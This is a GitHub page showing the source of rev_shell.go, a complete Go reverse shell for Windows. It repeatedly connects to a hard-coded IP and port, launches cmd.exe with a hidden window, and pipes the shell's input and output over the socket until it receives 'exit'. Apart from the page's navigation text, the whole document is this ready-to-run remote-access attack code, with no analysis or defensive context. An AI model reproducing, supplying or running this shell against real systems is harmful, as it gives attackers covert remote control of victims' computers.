-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathrev_shell.go
More file actions
50 lines (43 loc) · 942 Bytes
/
rev_shell.go
File metadata and controls
50 lines (43 loc) · 942 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main
import (
"bufio"
"net"
"os"
"os/exec"
"strings"
"syscall"
"time"
)
func revShell(host string) {
for {
// Create a tcp socket connection
conn, err := net.Dial("tcp", host)
if err != nil {
time.Sleep(3000 * time.Millisecond)
continue
}
// Create a cmd.exe process and redirect stdin, stdout and stderr to the socket
proc := "cmd.exe"
cmd := exec.Command(proc)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
// Checking if command exit is being sent
reader := bufio.NewReader(conn)
input, err := reader.ReadString('\n')
if err != nil {
conn.Close()
continue
}
input = strings.TrimSuffix(input, "\n")
if input == "exit" {
conn.Close()
os.Exit(0)
}
}
}
func main() {
host := "192.168.188.154"
port := "8443"
revShell(host + ":" + port)
}